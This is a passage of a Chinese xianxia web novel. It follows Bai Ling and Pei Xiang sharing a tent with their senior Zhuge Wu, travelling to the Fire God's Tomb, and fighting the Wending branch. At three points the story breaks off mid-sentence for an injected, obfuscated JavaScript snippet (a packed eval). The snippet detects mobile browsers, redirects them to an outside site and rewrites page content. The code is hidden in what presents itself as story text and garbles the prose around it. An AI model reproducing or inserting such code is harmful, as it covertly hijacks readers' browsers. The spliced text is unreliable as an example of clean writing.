然而不等他说什么,裴响冷冷道:“一派胡言!” 白翎不禁笑道:“就是,就是。即便他们能得到我的脸,也不能得到我的心,是不会受师长疼爱的!” “你在说什么?”裴响道,“明明该驳斥的是你出卖……” 他讲不出“色相”二字,抿着唇面若冰霜。 白翎却搭着他的肩头笑:“驳斥?为什么要驳斥呀。阿响,他们爱说说呗,反正谣言止于死者。” 裴响:“……” 白翎问:“你忘记我们入秘境为什么来的了?” 他笑罢转向田师妹,道:“我师弟才入门不久,应该没有关于他的瞎话吧。” 田师妹:“这……” 白翎惊道:“连他的也有?!” 田师妹:“您二位近日在讲坛听学,出双入对,打情骂……不、不是,相谈甚欢!问鼎一脉的说……说……” 裴响寒声道:“说什么?” “说你们私定终身不日便要逃离道场私奔了!” 田师妹一口气说完,躲去后面,又把徐师弟推出来顶缸。徐师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027360|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟看着裴响满面的煞气,悚然道:“白白白仙长,你答应会哄好他的!” “我在,我在——哈哈哈哈哈!”白翎却已经笑得前仰后合。 他上气不接下气,挨着裴响揉眼泪,道:“别生气嘛阿响,这程度还好啦。喂,各位,问鼎一脉的消息终究不够灵通啊。其实——” 驾鹤一脉的小辈们齐声问:“其实什么?其实你们从无此种行径,对不对?” 白翎道:“其实我们都是继承了师祖遗风!” 小辈们被嚇得掉下石块,倒在地上。徐师弟一骨碌爬起来,率先道:“不可能吧!” 尹真也嘴角抽搐,问:“继承了什么的什么?” 裴响更是再也坐不住了,要把白翎拖回帐篷,不许他继续大放厥词。 白翎犹打算说个痛快,反正师尊开淫趴、师兄被包养,师弟要私奔、他还卖色相,展月一脉的门风已如此精彩,怎能放过万恶之源祖师爷呢? 不料乱作一团的小辈们忽然噤声,一个个似过冬鹌鹑般,瞪着白翎身后不语了。 裴响亦有所察觉,望向那边,立即面色发青。 白翎最后一个回头,只见一袭墨蓝织金的身影,端立在月下林中。 诸葛悟手挽拂尘,然而尘尾枯焦。他面上有一抹血痕尚未拭去,将他俊美温文的外表刻下一道裂隙,隐隐透露着他从何等人间炼狱而来。 诸葛悟微微笑道:“抱歉,扰了诸位雅兴。阿翎,你刚才说什么?” 白翎:“……” 他半个身子赖在石块上,正和裴响拉扯到一半,衣冠不整。驾鹤一脉的弟子们见势不妙,转眼回到各自帐篷,速度比过大姑河还快。 尹真拍拍手起身,说了句“自求多福”,往林深处去了。只剩展月一脉的师兄弟三人,六目相对。 半晌,白翎“唰”地站起来,佯装乖巧地喊了句“师兄辛苦了……”,猫到裴响身后。 裴响没料到他如此没有担当,面色微显慌乱,却不知从何解释。 幸好,诸葛悟的微笑之下,深藏倦怠。他也知众人是玩笑而已,并未深究,只道:“那顶空帐篷是你们的么?时候不早,准备歇息罢。” 他掀帘而入,在最内侧躺下。 驾鹤一脉准备的帐篷十分宽敞,容纳两人绰绰有余,不过三人并排就寝的话,便显得捉襟见肘了。 白翎缓缓从裴响身后冒出头,道:“师兄受伤啦?” 裴响不语。 白翎道:“没见过他这样呀。唔,眼睛都闭上了,好像很累……” 裴响冷笑道:“是被你气得吧。” “不可能,我向来如此。”白翎摸着下巴思考片刻,挥手道,“算了,你快进去。我也好困。” 裴响一愣,问:“你要我睡中间?” “当然,我喜欢滚来滚去,压到师兄怎么办?三个人睡又不好隔开。” 裴响道:“我……我去林间静坐。” 白翎随口说:“好吧,那我要睡觉了。” 他抬脚进了帐篷,鬼鬼祟祟地观察诸葛悟片刻,见其面色微倦、但吐息安宁,便没有担心。 帐篷只容纳两人的话,还是能井水不犯河水的。白翎脱掉外衫当被子盖,躺在靠帐门处。可他闭上眼睛好一会儿,仍无睡意,总觉得有人盯着自己。 他迷惑地睁开眼,发现一道人影投在帐篷门口,一动不动。 白翎吓得一弹,刚撑起身子,便见人影动了。裴响掀开帘幕,面无表情地看着他。 白翎安静片刻,道:“进来?” 裴响说:“……让一下。” 28.二十八、夜谈 白翎心下好笑,越来越能捉摸师弟的心思了。 裴响从小被严格约束,只能和一群无趣的师长交流,虽然视白翎的一言一行如洪水猛兽,但有总比没有强,他是不会轻易将其推开的。 思及此,白翎抿着一丝笑意,往里面挪了挪。 他侧身而卧,面朝裴响。少年闷不吭声地躺下,一件衣服也不脱,“唰”地背过身去,还是那副不给邪魔外道任何可乘之机的模样。 白翎笑意更盛,凑到他脑后不怀好意地问:“怎么了阿响,外面冷吗?” 裴响与他拉开距离,不给回音。 白翎靠过去追问:“一个人待着害怕啦?这么大人还怕黑?” 裴响离他更远,已然贴在帐篷上了。 白翎道:“再挪就挪出去了喔。” 裴响总算转回来,在黑暗中,一双眼闪着羞恼的微光。 他压低声音问:“你不是困了吗?” 白翎坦然道:“你进来我就精神了。” 裴响瞪他一眼,转为平躺,坚决地闭上双眼。白翎也只是口头耍他两下,并不想打扰到旁边的诸葛悟,便枕着手臂,侧躺出神。 夜深人静之后,今日与尹真的谈话又浮上心头。 白翎不由得感到一分怅惘,不知以后是否还有机会,师兄弟三人齐聚屋檐下。 不过他正卡在育灵根这一关上,若是失败,最先说拜拜的是他。白翎立刻不苦恼了,死后哪管它洪水滔天? 但关于功法的消息,他不想瞒着裴响。于是,白翎轻轻地戳了裴响一下。师弟果然没睡着,蹙起眉睁眼看他。 白翎贴到他耳边,捂着声音,把尹真所言复述了一遍。 裴响默默听着,反应出奇地平静。白翎说罢,见他的神色完全没变化,道:“不怕吗?” 裴响:“怕什么?” 白翎道:“最多活八百岁了啊。” 裴响望着他,不足咫尺之距,少年人一双眼黑沉沉的,似无星无月的天空。 他反问白翎:“你的寿数呢?还有多少。” “嗯……育灵根成功的话,又能续一两百年。那就是五百岁吧。”白翎说,“不过能不能成功,还不知道。” 裴响问:“你不怕吗?” 白翎一怔,旋即哑然失笑。 裴响淡淡道:“既然如此,潜心修炼便是。如果我注定失控……” 白翎抬眼,听他停顿片刻,道:“也没什么好伤心的。” 两人的长发铺在一处,因刚才你逃我追的挪动,不知不觉间,织在一起。白翎欲言又止,一时间无法确定,师弟的意思是他自己不会伤心、还是没必要为他而伤心。 他们呼吸交错,彼此气息拂面。裴响的眼睫颤了颤,将脸转向另一边。 白翎追问道:“怎么不会伤心?大家相识一场,不管谁走了,我都会伤心的。” 裴响道:“比如诸葛师兄,比如漱玉真人?” 白翎道:“当然。” “即便是门前的花谢了,你也会为之伤心吧。” “当然!”白翎无意间提高了声调,说,“难道我死了你不会伤心吗?你说了不讨厌我的,自然也要为我伤心。” 诸葛悟似乎受到打扰,将身侧的手置于腹上。 白翎连忙收声,等师兄清浅的呼吸声再度安定,才重新看向裴响。 却见少年凝眉不语,许久才道:“我不要为你伤心。你……” “不行。你的天资比我高,肯定比我活得久。就算你不给我摔盆,也要给我烧纸吧?记得扎一张好睡的纸床……” 白翎斩钉截铁地打断他,说着说着跑题了,情不自禁笑起来。 裴响又被他浪费了感情,剩下的话断在喉间。原本险些出口的语句,尽数咽了回去。 他气道:“不可理喻!” 裴响再次背过身。白翎知道自己说错话了,强忍笑意道:“好好好,我不说了。万一把师兄吵醒,我们一起完蛋。” 可他还压着裴响的头发,摸在手中,缎子似的触感。 白翎莫名觉得,他和裴响现在好像上辈子的某种影片现场。两个人动来动去不敢作声,而诸葛悟是个一无所知、睡得像死了一样的背景板丈夫。 如此妙思无人分享,实在憋得慌。白翎不死心地小声问:“阿响?” 裴响不理他,但是把自己的头发扯了回去。 白翎问:“你看过春宫吗?” 裴响听见陌生的词汇,沉默片刻,道:“是什么?” 白翎没料到他连这个也不知道,立即燃起了为人师表之心,准备跟师弟好好科普一番。 然而他刚向裴响靠过去,一道平静的嗓音在帐篷内响起。 实际上并未睡着的诸葛悟问:“难道阿翎看过?” 白翎:“……” 平地一声雷,白翎创业未半而中道崩殂,紧紧地抿住嘴巴。他缩在原处装死,不敢发出一点声音,裴响也如凝固了一般,吐息都轻了。 诸葛悟依然在闭目养神,只道:“阿翎,我知道你在想什么。但小裴刚通灵脉,灵气不稳,他可听不得你那些奇思妙想。” 白翎:“………………” 白翎干巴巴地“哦”了一声,更往裴响这边挪。 不知是不是被大师兄的气场所震慑,裴响也向他靠近一分。两个人贴在一处,与诸葛悟空出老远,不知过了多久,终于心思各异、但老老实实地睡着了。 — 翌日清晨,待白翎睡醒时,两边皆空空如也。 如洗的鸟鸣声啁啁啾啾,他伸着懒腰出去。 驾鹤一脉的弟子们正陆续起来,净面的净面、打猎的打猎,有个没筑基的弟子刚烤好野味,切了一块给裴响。 裴响与之言谢,但手中端着一只盛满水的木盆,一时间无从接过。 白翎笑着过去道:“我帮他拿着吧,谢啦。” 他接过树枝串起来的禽类腿肉,往盆里一看,问:“给我打的?” 裴响面无表情道:“谁让你睡到现在。” “哎呀,我师弟真好。”白翎回头瞄了一眼,确认无旁人听见,转回来自得地说,“阿响是全世界最好的师弟,是不是?” 裴响把木盆往帐篷门口一放,拿走烤野味,没反驳也没同意。 白翎笑眯眯地蹲在盆前,想起什么,问:“诸葛悟呢?” 裴响道:“凌晨接到玉简传讯,回前线了。” “哦……我完全没醒啊。”白翎洗完脸拧干毛巾,顺带擦擦脖颈,感叹道,“我们师兄也是全世界最好的师兄,对吧?” 裴响“嗯”了一声,小口小口、细嚼慢咽,吃掉了早餐。 白翎洗漱后帮着驾鹤一脉的小辈们,将帐篷清洗收好。正当他觉着好像少了个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037431|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,尹真的身影出现在林间。 他身上被过夜的露水浸透,枫红色衣衫更显沉郁。 白翎招呼道:“你好啊尹兄。又去何处高就了?” “你的群魔饵太厉害,引动了几条地龙。一些人争地龙的内丹,在那边打了一夜。”尹真的黑眼圈重得像身中剧毒,向远处一扬下巴,哑声道,“我没白去。” 漱玉真人恰好走来,道:“看来绯衣真人所获颇丰。你所言的,可是东北方向二十里地?我昨夜略观天象,见彼方异动,不知是否发生了变故。” “对。那里再往北走,就是人魔战场;过了战场,到火神冢,是你们要去的地方吧?”尹真无甚精神地问。 白翎听见“火神冢”,道:“发生什么事了吗?” 尹真说:“有个参战的剑修赶时间,打塌了一座山,意外开出一条路来,直通火神冢。消息传出去,所有人疯了一样往里挤。” 他打了个哈欠,道:“听说道号叫什么尘……你们认识?” 白翎与另两人面面相觑,沉默片刻,道:“不会是我们师兄吧?” 漱玉真人笑了,说:“时间倒是能对上。看来你与裴师弟遭到蚌精追猎时,诸葛道长虽然没及时赶到,但还是记挂你们的。战事一毕,便来确认你们安危了。” 白翎却道:“不好。问鼎一脉走在我们前面,肯定也听说了消息,保不准会提前赶去火神冢,占地方锻剑。我们得赶紧出发。” 漱玉真人颔首,召小辈们过来,即刻动身。 白翎与裴响也变成小纸人儿,待在尹真肩上。白翎担心他疲劳驾驶会出交通事故,问尹真要不要隔一会儿拔他一根头发,尹真冷笑一声,掏出一瓶绿油油的液体,打开瓶盖。 药油的气息逸出,白翎与裴响同时颤抖起来。不过裴响在极力克制,白翎则发出了嘹亮的呕吐声。 为什么修真界也有风油精啊! 或许配方不尽相同,但闻起来那种让人欲仙_欲死、天灵盖直往上蹦的酸爽味道,如出一辙。 三人皆精神一振,凌空而起。白翎被熏得几欲猝倒,加上恐高腿软,只能歪在尹真脖子上,借他的衣领卡住双脚,免得被吹飞。 幸好前方多为坦途,只需偶尔绕过山峰。 白翎没忍住视察下方景况,见到了尹真所说的争夺地龙内丹之处。方圆十里内,尽成焦土,大地被打成了一坨烂泥,显然发生过极惨烈的争端。 几条地龙玉体横陈,已经获得了婴儿般的睡眠。 它们都是千年的蚯蚓化妖,被剖去内丹后断了生机,不过骨血、皮肉俱是大补之物,即便修士用不上,凡人也会求去入药。 因此,像尹真一般捡垃圾的仙友们清扫过后,还有更低一层的散修聚集而来,费力地盘剥地龙遗体。 白翎看在眼里,不禁想起了上辈子学的食物链,目前正是微生物进行分解作用的阶段。 忽然,尹真出言提醒:“坐稳了。” 下一刻,数道遁光自后方袭来。人已经过去,刚才喊的“仙友让一让”才飘到白翎耳中。 这些超音速御剑的家伙们,显然是赶路去火神冢的。很快,入目的青山绿水在消退,芳草林地变成了千里黑泥。 白翎一点点探出头,被前方奇诡的地貌所震撼。天空不知何时变暗了,日光难及之处,乌云密布天野。此时尚有余晖,映出千万条沟壑与地裂。 29.二十九、交锋 道道裂隙间,隐约可见地下河与溶洞。 潺潺水声自地底传来,伴随着偶尔一声不知名生物发出的怪唳,令人遍体生寒。 白翎又闻到了腥气。比在大姑河闻到的浓重百倍,几乎化作实体往鼻子里钻。 可他放眼望去,并未见到残尸,细看之下才发现,地表覆盖的黑泥不是厚土,而是一层犹在蠕动的血泥。 白翎头皮一炸,没有发出声音。 但尹真的喉结彼端,伸出一片薄薄的纸人手。少顷露出裴响的圆形脑袋,望着他片刻,眨了下镂空眼睛。 白翎强笑道:“没事……已经到战场了吗?” 尹真说:“嗯。道场推进很顺利,估计去收复群岛了。” 天尽头,是一望无际的海面。岛屿星罗棋布,血光冲天。 白翎定了定神。后方不断有修士赶来,冲向火神冢。 然而心怀鬼胎者亦有之,不远处突然爆发火花,有人被法器发射的灵石击落。几道鬼鬼祟祟的身影在地面上游窜过去,掠夺死者的芥子袋。 白翎道:“当心,下面有人偷袭!” 尹真开始左右绕行,躲避攻击。 飞在前头的漱玉真人闻声清叱,数把仙剑浮现身侧。随着她一声令下,仙剑们遁入地裂。少顷,一连串坍塌声响起,下方的地表接连凹陷,烟尘滚滚。 几个偷袭者或是被仙剑洞穿,或是被落石覆盖,连同他们的法器一起,全部被埋在了地下。 路过的仙友们抱拳高呼:“前辈好道法!” “多谢仙长仗义行侠!” 漱玉真人遥遥回礼,转头向白翎等人嘱咐:“离火神冢不远了,我们先去云上追踪,莫被发现。” 尹真随其掠往高空,穿过丝丝缕缕的云汽,来到棉被似的云端。因下方的团团云絮十分扎实,且距离很近,白翎的恐高没那么严重了,又战战兢兢地伸出脑袋。 尹真警告道:“别乱动,痒得要死。你晕就安分点,别等下吐我身上。” 白翎对着他耳朵“哕”了一声,前后张望。他们的来处尚有光明,晴空湛蓝如洗,云层绵密洁白;前方却是高悬的夜幕,星宿俱灭,仅一道猩红的弧光,仿若天裂。 众人沉默且快速地前进着,过了约一个时辰,尹真再度开口,说:“准备落地。” 根据李德传来的情报,问鼎一脉相中的锻剑处名为“神目洞”。 所谓的火神冢,实际上是一片活火山。火山口的形状仿佛倒地人身,其间熔浆横流似经脉,故得此名。 而神目洞,位于“火神”的头部,是一个天然洞窟,直达地底熔岩。据说把剑胆投进去,若其灵性精纯,自然会剥去尘表,焕然而归;但若资质驽钝,即刻熔成废铁,有去无回。 两柄剑胆,一柄藏在李德的芥子袋里,一柄交付于他师弟孔安手中,即将锻成上上品灵根天才唐棠的本命剑。 白翎惦记着裴响的剑胆,回过神时,一股热浪自下而上地袭来。众人乘风而落,已经抵达了神目洞地界。 寒风呼啸,在黑天上哭嚎。 白翎与裴响化回人形,沙尘如刀割面。若举起手,仿佛能滴水成冰,但把手往下按,热意蒸腾。 他们行走在嶙峋的岩地上,脚底板发烫,可见大地深处蕴藏着何等恐怖的高温。凡是来到此地的修士,无不处于冰火两重天中。 此处距离神目洞,尚有三里。 若是再靠近,便得小心转角遇上问鼎一脉了。 漱玉真人带队,择了一处地势崎岖、可堪隐蔽的背风口,暂且驻扎。 她对照地图,以眼神示意斜前方,道:“神目洞已至。魔域没有日光,若想视物清楚,须时刻捏着明目诀。” 白翎闻言念动口诀,一片黑暗的视野中迅速浮现轮廓。他眯眼瞭望,只见雄浑的风沙中,的确有一抹金红色,不过影影绰绰,相距甚远。 忽然,那一抹金红像火苗似的,猛烈窜动了一下,紧接着向外扩散,仿佛在遮天蔽日的沙尘中,舞开了浓艳水袖。一条龙卷风拔地而起,将四面八方的空气撕扯而去,染上明媚火光。 白翎愣道:“他们开始了?” 漱玉真人神色一凛,说:“神目洞开炉锻剑,正是此景。裴师弟的剑胆被投入洞内,若是成功,只需一个时辰。我们即刻动手罢。” 白翎吹出两声口哨,学作鸟叫。此为他与李德约定的暗号,可是清鸣过后,四下并无变化。 田师妹道:“是不是发生什么变故了?” 白翎不语,片刻后再吹了一次。 这回,众人面前的地上升起一团暗影,膨胀变形成了李德的模样,道:“风声太大,刚才没听见。” 不知他修的什么奇技淫巧,能让分身来此,虽然面目模糊,但是身量大差不差,嗓音好像蒙着一层布,从极遥远处传来。 驾鹤一脉的弟子们对他冷眼相待,白翎则觉得眼前的李德有些古怪,不过一时半会儿,说不出奇怪在哪儿。 李德主动道:“你们总算来了。孔安日夜兼程,还是晚了一步,碰上了别家弟子。我们与之鏖战一场,师妹设下结界,防止外人踏入。喏,你们接着。” 他手心冒出数道符文,飞向众人。白翎警惕心重,抬手阻挡,却无法拦住。 符文融入在场之人的身躯,暂且毫无反应。 唯有漱玉真人的五指化作玉质,轻轻夹住了符文。她道:“此为何物?” 李德说:“自然是便于你们潜入结界的啊。快跟我走吧,等下剑胆出洞认主,再后悔可来不及了。” 白翎:“等等。” 驾鹤一脉的小辈们正要动身,听他发话,又停下来。 白翎不妙的预感越发强烈,他问:“符文是哪来的?” 李德诧异道:“我师妹教的啊!家门钥匙当然先分给自家人,不然我怎么待在结界里?” 白翎叹气道:“蠢货!你以为你的演技天衣无缝?” 李德的分身脸上,显出呆愣神情。 他道:“什么意思,我装得不好?孔安识破我们了?” “不——我的意思是,”白翎示意众人退后,说,“一个嚣张了大半辈子的人,就算一时失意,也改不了狂妄毛病;而一块做小伏低几百年的垫脚石,让他支棱起来,他都直不起腰。你演李德,演得太拙劣了,孔真人!” 话音落下,分身人影锵然破碎。 一道洪钟般的声音围绕众人响起,似从四面八方传来:“奸诈小儿,竟敢出言不逊!岂知今日便是尔等死期?” 白翎嘲笑道:“果然是假货!” 此人喝问:“何处有假?” 白翎朗声说:“第一句话便不对。李德什么时候解释过?我还一个字没说呢,你上赶着解释迟到的原因干嘛?被责打惯了的人,才会着急辩解,不然马上就挨骂了。而且你不知道吧,李德才不会喊你‘孔安’——‘老狗’、‘贱货’、‘姓孔的小儿’,他喊的五花八门,唯独没喊过孔安!” 围绕他们的声音怒哧一声,显然被丢了面子,道:“放、放肆!” 走石飞沙之中,浮现出两条人影。 他们自神目洞方向而来,当先的老者颧骨高耸,长髯飘飘,正是李德的师弟孔安。慢他半步的则是师妹宁雪,是一位人如其名的美人,手持法宝,一步一念。 随着她口中呢喃,白翎等人的背后放光,浮现刚才融入的符文。显然,此物绝非什么通行结界的“家门钥匙”,而是锁定他们的标记。 不仅如此,孔安将袍袖一甩,收回一张天罗地网。此物深藏地下,埋伏在白翎等人的必经之路上。若他们跟随“李德的分身”行动,定会落网。 漱玉真人稍一用力,夹碎了指间符文,道:“既然你们已不慎中招,多加小心。” 她向白翎等人叮嘱时,尚且一袭红裙,剑未出鞘;待她转身向问鼎一脉的师兄妹,顷刻间看朱成碧,眉心花钿闪烁,十六柄仙剑一字排开,环护诸人。 漱玉真人一手持“衔烛”,一手“唰”地展开画卷,其上正是窈娘的遗像。 她沉声道:“死仇唯有血可解!他日宵小害我同门,今朝自当伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044769|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诛授首,衔烛,结阵!” 剑鸣如骤雨,衔烛赤色如新,以数十道剑气回应。 漱玉真人以六柄仙剑留作防护,其余仙剑追随衔烛,结成剑阵,攻向问鼎一脉的二人。 白翎记得,早在他登门拜访驾鹤一脉时,漱玉真人便提过要求:一定要让她亲手砍下李德的头颅,为师妹窈娘平恨。 可是不知为何,李德迟迟不曾出现。或许事情败露,他已经被孔安和宁雪诛杀了,也未可知。 不过此时此刻,顾不得闲杂。 白翎自知修为低微,帮不上忙,但也绝不会拖人后腿,作了短板。他拉上裴响,招呼其余人退至一旁,待在尹真左右。 只见幢幢风沙中,孔安亦召剑出鞘。他的兵刃与“衔烛”不断相击,眨眼发出上百次次裂玉之声。 漱玉、孔安、宁雪皆是元婴前期,此刻漱玉真人与孔安对敌,宁雪仍在念念有词,闻之令人心烦意乱。 徐师弟托着窈娘遗像,问白翎道:“白仙长,李德是不是穿帮了啊,他何时露出马脚的?” “最开始时。”白翎摩挲着铃铛,一面向诸葛悟传讯,一面说,“我与你家大师姐都要向李德寻仇,他却不向师弟师妹求助,只有一种可能,就是被我们策反了。所以,孔安和宁雪必然能猜到他倒戈,这内应根本没成功过。” 徐师弟惊道:“那怎么办?问鼎一脉岂不是有备而来!” “是啊。不过策反李德,确保他们内乱,已经是大大削弱。三脉之间,迟早一战,最后还是得仰仗你家师姐,和我家师兄呀。”白翎的目光落在宁雪的法宝上,道,“那炉子好生眼熟,我好像在老祖笔记上见过……叫什么来着?” 尹真悠悠道:“玄天炉,他家二代的神级法宝之一,修真界‘最防不胜防的法宝’排行第三。” “二代的东西?”白翎扬眉道,“他俩找外援啦。” 徐师弟说:“不对,问鼎一脉的二代道君闭关很久了。诸葛道长灭绝三代后,他恰好出关,听闻噩耗险些气死,不得不又闭关了。他现在还没出来呢,玄天炉是早年传给宁真人的吧?” 白翎道:“无所谓。我想起来了,老祖的批注说过,玄天炉的确‘防不胜防’。” 尹真接言道:“没错。只要是你想要的符箓,它都能按你心意画出来。而且比你修为低的人,就不可能逃过,所以,刚才只有大姐头没中招。” 裴响忽然动了白翎一下,道:“有人。” 白翎:“什么?” 裴响蹙眉道:“暗处,有人。气息非常隐蔽。” 白翎一扬眉,相信师弟的敏锐。可是不等他们细细查探,众人背后大亮,上空的乌云破碎,降下无数剑锋。 这些剑锋与他们背上的符文连线,显然是锁定目标的攻击。 尹真将长刀一甩,打出纵横刀意,与剑雨碰撞。幸好有漱玉真人的六柄仙剑助阵,铮铮剑响如珠落玉盘,将小辈们护在当中。 宁雪牵制住他们,转而为师兄保驾护航。她啮破指尖,往玄天炉滴入心头血,引出一张崭新的黄符,融入孔安背部。 白翎笑道:“她的修为比孔安高吗?辅助大佬带飞输出啊。” 尹真领会了他的语意,却说:“这不是一个好兆头。” 孔安吼开扑面的黄沙,剑光暴涨。他年迈的脸上浮起一丝病态的红润,几招过后,锵然击退了“衔烛”。 漱玉真人召剑回手,正欲再战,忽然听见一个师弟惨叫。原来宁雪唤动的剑雨突破防线,刺伤了他。 田师妹急忙翻出丹药止血,冲漱玉真人喊道:“师姐别顾我们,当心!” 白翎亦瞳孔微缩,因为孔安如鬼魅般欺身上前,分身十余道,同时袭向漱玉真人。 千钧一发之际,有人架住了孔安剑招,并且见招拆招,显然对他的路数烂熟于胸。 孔安勃然大怒:“你——你还有脸回来!” 来人正是李德。他不知在暗中观战了多久,此时连续接招,不屑叫道:“他们果然靠不住。还得我亲自出马,砍死你个草包!” 30.三十、当车 师兄弟二人转眼战在一处,白翎松了口气,道:“看吧。识别赝品的最佳办法是和真迹摆在一起,他俩对上便很明显了。阿响你的感觉果然没错,李德一直躲得远远的看着,怕出意外呢。” 问鼎一脉的师兄弟剑法同出一门,可是一个大开大合、势如破竹;另一个稳中求进,束手束脚。 宁雪又挥出一道符箓,打在孔安背上。这道符加上了她三宝属性的功法,甫一入孔安身躯,立马激得他双目发红,再无退避之意。 李德被震得虎口发麻,冲宁雪道:“师妹,事已至此,你还帮他作甚?我真是不明白了,这么多年我哪里对不起你!听我的,把孔贼献给他们,还有活路!” “好笑。临近神目洞,你突然借口失踪,我就料到你打算坐山观虎斗。现在坐不住了是吗?”宁雪冷冷道,“这么多年,师尊一直偏心你。幸好他死了,我与孔安才能后来居上。你怎么有脸教我行事?” 她说着打出数道符箓,可惜因修为与李德相差无几,皆被打掉。 李德着急地说:“什么偏心?哪有偏心?快别闹了,收拾完孔安和唐棠这对贱人师徒,以后我当问鼎一脉掌门,你就是掌门夫人!” 宁雪知道孔安在发狂的边缘、神志不清,索性言辞无忌,傲慢地答道:“不如让你们自相残杀,以后我来当掌门。至于你俩,不过是‘掌门的两个不成器的师兄’!” 她终于召剑出鞘,协同孔安,围攻李德。 李德猝不及防,一时难以招架,又转头朝白翎咆哮:“姓白的你是死人吗?还不快来助我?要不是我给的情报,你们哪能跟到这来,赶紧跟我灭了他俩,问鼎一脉的宝贝任你挑!” 白翎捧腹大笑,乐道:“为什么要帮你啊?李德,只要把你们全杀了,我不是照样随便挑?” 李德终于明白过来,两边人都在耍他。 白翎也好、宁雪孔安也罢,早已经心照不宣。唯有他死到临头自乱阵脚,明明是双方的玩物,却自以为是坐等得利的渔翁。 李德万念俱灰,“哧”的一声,大腿上多了一道剑伤,深可见骨。 他不得不再度转向宁雪,痛心疾首地说:“师妹,你听见那个杂种的话了吗?他要灭我们满门!咱们师兄妹即刻联手,尚有一线生机,不然谁都活不成。你到底在犯什么病?” 然而宁雪只道:“对牛弹琴,浪费口舌。” 她召回仙剑,念动法诀。此次作法比之前所费的时间更长,她滴入玄天炉的心头血也更多,直到一记波光粼粼的符箓缓缓成型。 漱玉真人收回十六道仙剑,严阵以待。 尹真也掏出一个火折子,“嚓”地点燃,光芒所至之处,风沙消退,显然是一件防御法宝。 白翎不知怎的,心下狂跳。 明明漱玉真人挡在最前方,尹真还用法宝护着他们,可是站在人群中的白翎莫名背后发凉,仿佛被冥冥中睁开的巨目盯上了。 他看了裴响一眼,想把他拉到自己身后。 裴响却皱眉望着宁雪施法,许是在危急关头忘了设防,不仅没抗拒,还反手握住白翎的手腕,依然与他并肩。 下一刻,宁雪将符箓附上仙剑,喝道:“去!” 她手中的剑消失了,轰隆巨响从众人头顶传来。一柄放大了数百倍的剑影撕裂云幕,自云潮中缓缓冒头。 剑势沉沉,若泰山压顶。 裴响面色微变,抓紧白翎的手道:“师兄,你背后的符文亮了……只有你!” 漱玉真人高声道:“散开!” 问鼎一脉的小辈们顷刻四散,尹真看了眼天上,也发现目标只有白翎。他伸手在白翎面前一晃,白翎却如同魔怔,愣愣地望着剑锋袭来。 尹真说:“啧,看造化吧。” 他把火折子丢给裴响,御刀疾退。 仅剩白翎与裴响二人,面临当空巨剑,不闪不避。 裴响不得已扳过白翎肩头,摇撼他道:“白翎?白翎!” “快走……阿响。” 气若游丝的声音从白翎唇齿间逸出,他此时头痛欲裂,双脚像是被钉在了原地。背后的符文重若千钧,牢牢固定着他,不让他逃离,甚至不让他生出逃离的念头。 三宝属性,谓精气神——他心神受制,俨然在宁雪发动剑招的刹那,已是她剑下亡魂! 裴响看出了他的异常,持着焰光扑朔的火折子,仰头向快速逼近的剑锋。 两人皆无护身符庇佑,忽然,裴响的手上传来刺痛,是白翎在掐他。白衣青年总是笑意融融的眼底,至此生死之际,竟然…… 竟然露出一分祈求。 白翎做口型道:滚! 裴响冷冷呵斥:“又说脏话!” 白翎简直要喷出一口老血——都什么时候了,还管这个? 裴响“哗啦”扯开芥子袋,将其中物品尽数倒出,多为在全性塔抽到的法宝。品质好的比如仙级“玄武金刚罩”,千年乌龟妖兵解后的遗物;品质次的则不胜枚举,灵级凡级十余件。 只要是用来防御的,皆被裴响祭了出去。什么“青金帐”、“寒铁衣”,重重叠叠,一层层张开在他们头顶。 裴响手上御宝的动作不停,口中衔着火折子。跃动的烈焰爆出细碎火星,将少年素来漆黑的眼底,映出刹那微芒。 乌云洞开,巨剑天坠。 风沙被逼得逃逸,两人似渺小蝼蚁,衣衫猎猎作响。 然而在白翎耳中,世界静得出奇,也慢得出奇。 他们一同凝望着上天,广阔的剑身如百丈镜面。不知从何而来的一线残晖折射于剑尖,在其抵上第一重屏障的刹那,迸发出琉璃色彩。 布帛撕裂的声音响起,“青金帐”破开大洞。 紧随其后的是一道脆响,“寒铁衣”在凹陷后粉碎。 法宝破败声接二连三,火折子的光芒像一团泥,减缓了巨剑下降。可是,火光不断瑟缩,最后“嗤”地熄灭,只余一缕青烟。 漱玉真人的十六道仙剑飞至,毫无保留地击中巨剑。但即便是她出手,也只留下了一个个凹坑,仙剑被尽数弹飞! 二代道君赐下的神级法宝,对修士的加成竟如此可怖。转眼间,只剩“玄铁金刚罩”。此道仙级法宝可以抵御元婴 